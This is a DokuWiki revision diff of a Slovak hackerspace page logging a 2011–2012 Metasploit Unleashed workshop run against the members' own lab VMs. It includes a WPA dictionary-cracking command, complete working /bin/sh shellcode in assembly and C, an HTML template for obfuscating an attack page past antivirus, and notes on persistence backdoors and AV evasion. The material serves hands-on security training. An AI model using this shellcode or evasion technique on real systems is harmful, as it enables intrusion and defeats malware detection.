Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
event:metasploit_unleashed_workshop [2015/06/07 18:19]
ruza
event:metasploit_unleashed_workshop [2016/12/07 23:08] (current)
Line 1: Line 1:
 +~~NOTOC~~
  
 +====== Metasploit Unleashed Workshop ======
 +
 +{{template>​infobox|
 +name=Metasploit Unleashed Workshop|
 +image=:​event:​metasploit_unleashed_logo-00.png|
 +organizer=[[user:​zombie]]|
 +datetime=Raz za mesiac \\ vo štvrtok \\ (nie prvého) \\ o 20:00|
 +place=brmlab|
 +stream=[[stream]]}}
 +
 +==== Aktuálny stav (6/2012) ====
 +
 +Metasploit Unleashed workshop pokračuje. Chcem sa spýtať, o aké témy
 +bude záujem (viď nižšie)?
 +
 +Ďalšia vec je, že by sa workshop nekonal každý týždeň, ale menej často
 +(napríklad 1x za mesiac) vo štvrtok. Záleží na dohode...
 +
 +
 +==== Správa o štarte pravidelného workshopu (10/2011) ====
 +
 +Rád by som urobil v brmlabe Metasploit Unleashed workshop. Bol by
 +pravidelne raz za týždeň, prešlo by sa postupne od úplných základov,
 +cez písanie exploitu, až k featurám metasploitu,​ ako je skriptovanie
 +meterpreteru. Po skončení organizovaných stretnutí dúfam, že zostane
 +hŕstka ľudí pracovať na hľadaní dier a písaní exploitov.
 +
 +Nemá to byť prednáška pri tabuli, ale skúšanie príkladov naživo (jeden
 +na projektor a inak každý sám na svojom počítači). Predpokladom je
 +nainštalovaný Virtualbox alebo VMWare (od VMWare sú zdarma verzie
 +Player a Server). Musia byť funkčné (to je upozornenie pre tých, čo
 +majú nejak upravený kernel).
 +
 +Prvý týždeň sa budú preberať základy (používanie msfconsole, rozdiely
 +medzi payloadami, použitie existujúceho exploitu voči Windows XP SP2,
 +úplne základné použitie meterpreteru).
 +
 +Komu sa bude páčiť workshop alebo materiál Metasploit Unleashed, nech
 +zváži dobrovoľný dar pre [[http://​www.hackersforcharity.org/​|Hackers for Charity]].
 +
 +
 +===== Video =====
 +
 +==== Stream ====
 +
 +  * https://​brmlab.cz/​stream
 +
 +==== Záznam ====
 +
 +  * http://​video.hrach.eu/​index.php?​akce=8
 +  * na serveri data (nat.brmlab.cz) v /​data/​mirror/​metasploit_unleashed/​*.flv
 +  * pri nahrávaní na serveri brmvid v /​bubuntu/​rec*
 +
 +===== Čo je potreba mať nainštalované =====
 +
 +Virtuálne mašiny k dispozícii na serveri data (nat.brmlab.cz),​ prístup má ten, kto dá Růžovi ssh kľúč, prípadne pozná heslo na web http://​nat.brmlab.cz/​metasploit:​
 +
 +  * BackTrack r1 VM (32-bit): /​data/​mirror/​metasploit_unleashed/​BT5R1-GNOME-VM-32
 +    * pre VMWare
 +    * pre VirtualBox (ten istý image; použíje sa cez Machine->​New->​...->​Use existing disk->​vybrať .VMDK súbor)
 +    * hlavne kvôli metasploitu
 +  * Windows XP Pro SP2 (bez patchov, povypínané firewally a varovania)
 +    * pre VMWare
 +    * pre VirtualBox
 +    * ako cieľová mašina na útočenie
 +
 +Je možné púšťať metasploit inak, ako z BackTracku. Je ale potreba mať ruby a aby fungovalo spojenie s databázou (viď db_* príkazy), nakonfigurovať postgresql/​mysql. Aktuálna verzia zo SVN (odporúčaný spôsob inštalácie):​
 +
 +<​code>​
 +$ svn co https://​www.metasploit.com/​svn/​framework3/​trunk/​ metasploit/
 +</​code>​
 +
 +Človek môže mať nainštalované nejaké vlastné Windows (taký človek sa aspoň nebude nudiť, lebo mu možno nebude fungovať všetko tak bez problémov, ako ostatným, ktorí majú rovnakú mašinu).
 +
 +
 +===== Materiály =====
 +
 +http://​www.offensive-security.com/​metasploit-unleashed/​
 +
 +http://​www.ms.mff.cuni.cz/​~zembm2am/​exploity/​exploity.html#​shellkod
 +
 +===== 1. týždeň =====
 +
 +  * msfconsole
 +  * msfcli
 +  * moduly
 +  * meterpreter
 +
 +===== 2. týždeň =====
 +
 +Téma: identifikácia služieb v sieti, scanovanie
 +
 +  * db_*
 +  * nmap
 +  * auxiliary/​scanner/​portscan
 +  * snmp
 +  * psnuffle
 +  * idle scanning
 +    * [[http://​blog.carlosgarciaprado.com/?​p=91|Fix for auxiliary(ipidseq) RuntimeError Pcaprub]]
 +
 +===== 3. týždeň (2011-11-10) =====
 +
 +Téma: hľadanie zraniteľností (Nessus/​OpenVAS,​ neXpose)
 +
 +  * OpenVAS 0 výsledkov
 +  * Nessus sme konfigurovali a získali výsledky; db_autopwn zlyhalo
 +
 +===== 4. týždeň (2011-11-17) =====
 +
 +Téma: Wi-Fi
 +
 +Je k tomu treba mať kartu, ktorá vie packet injection a balík aircrack-ng. Utility bežiace pod vmware-om vedia použiť wi-fi karty, ktoré sa pripájajú cez USB.
 +
 +Či funguje packet injection, sa rozozná príkazom aireplay-ng --test; vo výstupe musí byť nenulové percento odpovedí (tj. 0% u každého AP znamená, že niečo nie je v poriadku).
 +
 +Dúfam, že sa stihneme dostať aj ku karmetasploitu. K tomu je potreba metasploit s databázou.
 +
 +Čo sme nakoniec robili:
 +
 +  * crack WEP
 +  * crack WPA-PSK (slovníkovým útokom)
 +    * aircrack poslúžil lepšie než cowpatty
 +      * crackoval pcap dump, o ktorom cowpatty tvrdil, že v ňom nie je celý handshake
 +      * berie štandardný vstup, ide potom napr. filtrovať zo slovníka dostatočne dlhé heslá na PSK:
 +
 +<​code>​
 +grep -E '​^.{8,​63}$'​ /​pentest/​wordlists/​dar... | aircrack-ng -w - -a 2 -e metasploitwifi airodump-dump.cap
 +</​code>​
 +
 +  * karmetasploit
 +    * podľa materiálov
 +    * db_connect treba z karma.rc vymazať; lebo s nesprávnym heslom iba spôsobí odpojenie
 +    * browser-autopwn nakoniec nehackol naše testovacie Windows
 +
 +
 +
 +===== 5. týždeň (2011-11-24) =====
 +
 +Téma: Fuzzing
 +
 +  * fuzzovanie pomocou metasploitu..?​
 +  * HotFuzz
 +    * download
 +      * buďto lokálne z data:/​data/​mirror/​metasploit_unleashed/​HotFuzz
 +      * alebo z projektovej stránky http://​sourceforge.net/​projects/​hotfuzz/​
 +    * inštalácia (ideálne do VMWare Windows XP, ktoré už všetci máme; pozor, VirtualBox verzia má po inštalácii už iba 200MB voľného miesta, to je obmedzujúce pre doinštalovanie ďalších aplikácií,​ ktoré by sa mohli fuzzovať)
 +      * všetko iba odklikať (v každom jednotlivom inštalátore,​ ktorý sa spustí)
 +        * BIND si pred inštaláciou vypýta heslo, stačí vyplniť ľubovoľné a spustiť inštaláciu BINDu
 +
 +===== 6. týždeň (2011-12-08) =====
 +
 +(po Lightning talkoch)
 +
 +Téma: Fuzzing skutočný workshop...?​
 +
 +...každý si bude fuzzovať aplikáciu, ktorú chce?
 +  * [[project:​brmlife:​start]]
 +
 +===== 7. týždeň (2011-12-15) =====
 +
 +Téma: Exploity
 +
 +  * Immunity debugger
 +  * exploit na CesarFTP
 +  * išlo to veľmi pomaly; na ďalšom workshope to zopakujeme rýchlejšie
 +
 +===== 8. týždeň (2011-12-22) =====
 +
 +  * nekonal sa, podobne niekoľko ďalších
 +
 +===== Shellkódy (2012-01-19) =====
 +
 +Téma: Shellkód, jeho stavba
 +  * http://​www.ms.mff.cuni.cz/​~zembm2am/​exploity/​exploity.html#​shellkod
 +  * AT&T syntax MOV priraďuje do argumentu vpravo, Intel syntax do ľavého.
 +  * užitočné príkazy gdb po spustení gdb fungujeshellkod:​
 +
 +
 +  start
 +  n
 +  info registers
 +  set $eip = shellkod
 +  display/3i $eip
 +  ni
 +  set disassembly-flavor intel
 +  x/30i shellkod ​   ​
 +
 +
 +  * v shellkod1.c (a všetkom, čo z neho vychádzalo,​ nám chýbalo priradenie NULL do registru edx)
 +
 +<​code>​
 +            xorl %eax, %eax         /* vyrob nulu */ ; \
 +            movl %eax, %edx         /* 3. parametr execve (*envp := NULL) */ ; \
 +</​code>​
 +
 +
 +  * Segmentation fault sme narozdiel od textu riešili touto zmenou:
 +
 +<​code>​
 +#include <​asm/​mman.h>​
 +
 +mprotect( (void*) ((unsigned) shellkod & 0xffffe000),​ 4096, PROT_WRITE | PROT_READ | PROT_EXEC );
 +</​code>​
 +
 +  * celá verzia shellkod1 napísaná pre nasm:
 +
 +<​code>​
 +[bits 32]
 +    jmp    finta
 +shellkod:
 +    pop    esi
 +    mov    DWORD [esi+0x8],​esi
 +    xor    eax,eax
 +    mov    edx,eax
 +    mov    DWORD [esi+0xc],​eax
 +    mov    BYTE [esi+0x7],​al
 +    mov    al,0xb
 +    mov    ebx,esi
 +    lea    ecx,​[esi+0x8]
 +    int    0x80
 +    xor    ebx,ebx
 +    xor    eax,eax
 +    inc    eax
 +    int    0x80
 +finta:
 +    call   ​shellkod
 +    db      "/​bin/​sh"​
 +
 +</​code>​
 +
 +  * kompilácia a rýchlejší prevod na reťazec:
 +
 +  nasm asmintel.asm ​
 +  /​mnt/​debian/​usr/​src/​linux-kbuild-2.6.30/​scripts/​bin2c < asmintel
 +  "​\xeb\x1e\x5e\x89\x76\x08\x31\xc0\x89\xc2\x89\x46\x0c\x88\x46\x07"​
 +  "​\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80"​
 +  "​\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"​
 +
 +
 +
 +  * výsledný fungujeshellkod.c volá priamo funkciu (ret + 2 nefungovalo)
 +
 +<​code>​
 +#include <​stdio.h>​
 +#include <​asm/​mman.h>​
 +
 +char * shellkod =
 +    "​\xeb\x1e\x5e\x89\x76\x08\x31\xc0\x89\xc2\x89\x46\x0c\x88\x46\x07"​
 +    "​\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80"​
 +    "​\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"​
 +                    ;
 +
 +int main() {
 +    mprotect( (void*) ((unsigned) shellkod & 0xffffe000),​ 4096, PROT_WRITE | PROT_READ | PROT_EXEC );
 +    void(*f)(void) = shellkod;
 +    f();
 +    return 0;
 +}   
 +
 +</​code>​
 +
 +===== Java applet infection (2012-01-26) =====
 +
 +Oproti oficiálnemu materiálu sme urobili tieto zmeny:
 +
 +  - opraviť vo VBScripte chýbajúci backslash pri >> C:​\windows\...
 +  - výsledné HTML kvôli antivíru obfuskovať nasledovne:
 +
 +    <​html>​
 +    <body bgcolor="​white">​
 +        <div id="​java">​
 +            <​script>​
 +                var div = document.getElementById('​java'​);​
 +                div.innerHTML =
 +                    // sem vložiť pôvodný obsah zakódovaný ​
 +                    // cez String.fromCharCode(), ​
 +                    // napr. pomocou HackBaru
 +                ;
 +            </​script>​
 +        </​div>​
 +    </​body>​
 +    </​html>​
 +
 +===== Encoding/​packing (2012-02-09) =====
 +
 +Na minulom workshope sme si ukázali, ako pomocou Java appletu ovládnuť Windows mašinu. Ukázali sme si, ako si udržať prístup pomocou backdooru. V prípade, že je nainštalovaný antivírus (v našom prípade AVG), obsah útočnej stránky je zablokovaný. To sa nám podarilo obísť zakódovaním HTML stránky.
 +
 +Antivírus ale naďalej detekuje hrozbu v ukladanom .exe súbore. Na ďalšom workshope si ukážeme, ako ho upraviť za účelom obídenia tejto detekcie.
 +
 +Treba mať nainštalované:​ OllyDbg, LordPE (sú tiež stiahnuté v /​data/​mirror/​metasploit_unleashed/​debugger),​ z minulého workshopu aspoň funkčné Windows (!) a nejaký antivírus. Metasploit sa bude hodiť (kvôli generovaniu .exe súboru a kvôli multi/​handleru,​ aby sa meterpreter mal kam pripojiť).
 +
 +Materiály:
 +
 +  * https://​docs.google.com/​viewer?​a=v&​q=cache:​SqL3L5YM3r0J:​www.exploit-db.com/​wp-content/​themes/​exploit/​docs/​17066.pdf+bypass+anti-virus+educational&​hl=cs&​gl=cz&​pid=bl&​srcid=ADGEESjDs861ESqIsOl4V_9wXEXM5PASBvyav90FjU59aT-Y6n4iYPCDQkUx4ALxHzs_2oobj_jlCQ4rOCJDfnqFCrkKyk0xJjaQoDZ8y7QpvYNGc1aD9hrhuyM1z5TGPS4s_O8bTB1l&​sig=AHIEtbTLXFbZvsRX5I2o90A3wJkk1wBnqg
 +  * http://​0entropy.blogspot.com/​2011/​01/​meterpreter-xor-for-further-av-bypass.html
 +
 +Na workshope vznikol problém -- OllyDBG nám zobrazoval iný entry point, ako LordPE. Je to vlastnosť: nový OllyDBG 2.01 rozoznáva packer a analyzuje ho. Dá sa to vypnúť v Options->​Options (Ctrl+O), SFX->​Unpack... (uncheck), Use real entry from previous run (uncheck).
 +
 +
 +===== A co dál? =====
 +
 +==== Príspevky ====
 +
 +O aké témy je záujem?
 +
 +Kto by si mohol prípadne pripraviť nejakú tému (z Metasploit
 +Unleashed alebo im príbuznú)?​ Viz http://​www.offensive-security.com/​metasploit-unleashed/,​ alebo tu je niekoľko ďalších na výber:
 +
 +  * encoding/​packing za účelom obídenia antivíru (ešte sa nekonalo)
 +  * ako packer umiestniť, aby sa nemusel meniť Origin-Entry Point
 +  * format string vulnerabilities
 +  * return-to-libc exploiting
 +  * SafeSEH exploiting
 +  * file format vulnerabilities
 +
 +  * https://​github.com/​rapid7/​metasploit-framework/​wiki/​Contributing-to-Metasploit
 +  * https://​dev.metasploit.com/​redmine/​projects/​framework/​wiki/​Exploit_Todo
 +  * [[http://​ftp.heanet.ie/​mirrors/​|Old SWs Repository]]
 +  * http://​www.rapid7.com/​resources/​webcasts.jsp
 +
 +==== Úlohy ====
 +
 +Hodilo by sa vyriešiť nasledujúce problémy: ​
 +
 +  - meterpreter persistence skript (ktorý inštaluje backdoor) nekontroluje,​ či už nie je backdoor nainštalovaný
 +    * ak sa pripája na handler, ktorý spúšťa persistence,​ vedie to k exponenciálnemu nárastu backdoorov
 +    * ak sa pripája na inú adresu, hrozí, že užívateľ musí do personal firewallu dve spojenia miesto jedného
 +  - jobs -v nezobrazí dosť podrobné informácie (ako hodnoty AutoRunScript),​ jobs -v -i <n> zobrazí nepravdivé hodnoty
 +
 +==== Links ====
 +
 +  * http://​pentestmonkey.net/​cheat-sheet/​shells/​reverse-shell-cheat-sheet
 +
 +{{tag>​video}}
 
Except where otherwise noted, content on this wiki is licensed under the following license: CC Attribution-Noncommercial-Share Alike 4.0 International
Recent changes RSS feed Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki